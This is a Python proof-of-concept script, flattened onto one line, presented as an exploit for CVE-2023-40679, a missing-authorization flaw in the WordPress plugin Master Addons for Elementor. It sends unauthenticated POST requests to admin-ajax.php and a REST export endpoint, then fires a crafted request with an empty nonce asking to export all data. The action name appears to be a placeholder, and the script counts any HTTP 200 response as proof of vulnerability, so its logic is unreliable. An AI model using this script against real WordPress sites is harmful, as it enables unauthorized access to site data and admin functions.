CVE-2023-40679

# CVE-2023-40679 PoC - Master Addons for Elementor Broken Access Control # This PoC demonstrates unauthorized access to admin functions import requests import sys TARGET_URL = "http://target-wordpress-site.com" def check_vulnerability(): """Check if the target is vulnerable to CVE-2023-40679""" # Test endpoint that should require authorization # Based on the vulnerability, admin-ajax.php or REST API endpoints # are accessible without proper capability checks endpoints_to_test = [ f"{TARGET_URL}/wp-admin/admin-ajax.php", f"{TARGET_URL}/wp-json/master-addons/v1/export-data" ] headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Content-Type": "application/x-www-form-urlencoded" } for endpoint in endpoints_to_test: try: # Send request without authentication response = requests.post(endpoint, headers=headers, timeout=10) # Check if response indicates successful unauthorized access if response.status_code == 200: print(f"[+] Potential vulnerability found at: {endpoint}") print(f"[+] Response: {response.text[:200]}") return True except requests.RequestException as e: print(f"[-] Error testing {endpoint}: {e}") return False def exploit_unauthorized_access(): """Attempt to exploit the missing authorization vulnerability""" # Craft malicious request to trigger unauthorized admin action exploit_data = { "action": "master_addons_exploit_action", "nonce": "", "sub_action": "export_all_data" } response = requests.post( f"{TARGET_URL}/wp-admin/admin-ajax.php", data=exploit_data, headers={"User-Agent": "Mozilla/5.0"}, timeout=10 ) print(f"[*] Exploit response status: {response.status_code}") print(f"[*] Response content: {response.text[:500]}") if __name__ == "__main__": print("[*] CVE-2023-40679 - Master Addons for Elementor Exploit") if check_vulnerability(): print("[!] Target appears to be vulnerable!") exploit_unauthorized_access() else: print("[-] Target does not appear to be vulnerable")

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